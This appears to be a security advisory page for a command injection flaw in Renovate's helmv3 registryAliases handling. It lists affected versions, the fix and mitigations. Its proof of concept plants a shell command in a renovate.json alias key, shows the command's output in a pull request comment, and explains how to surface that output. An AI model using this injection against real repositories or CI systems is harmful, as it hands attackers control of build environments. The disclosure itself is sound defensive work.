CVE-2024-58376 — renovate
Fix: renovatebot/renovate@1e941fdCVE-2024-58376 is a OS Command Injection vulnerability in renovate. A fix is available for renovate — see the affected versions and patch details below.
Renovate 37.158.0 before 37.199.0 Command Injection via helmv3
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-58376.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
renovatenpmDescription
Summary
Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.
Details
Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.
PoC
Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:
test-chart/Chart.yaml:
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamicharts
test-chart/Chart.lock:
dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"
Then add the following renovate.json:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}
Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:
File name: test-chart/Chart.lock
Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
This shows that the ls command executed successfully, and we can even see its output.
Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.
Impact
All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | renovate | ≥ 37.158.0&&< 37.199.0 | 37.199.0npm install renovate@37.199.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update renovate to 37.199.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-58376 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important flaw in Renovate's helmv3 manager allows for arbitrary command execution due to a command injection vulnerability. While exploitation requires an attacker to have commit access to the repository, successful exploitation grants full control over the Renovate execution environment, posing a significant…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2024-58376 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2024-58376 in your dependencies?
Find it across npm, including transitive dependencies.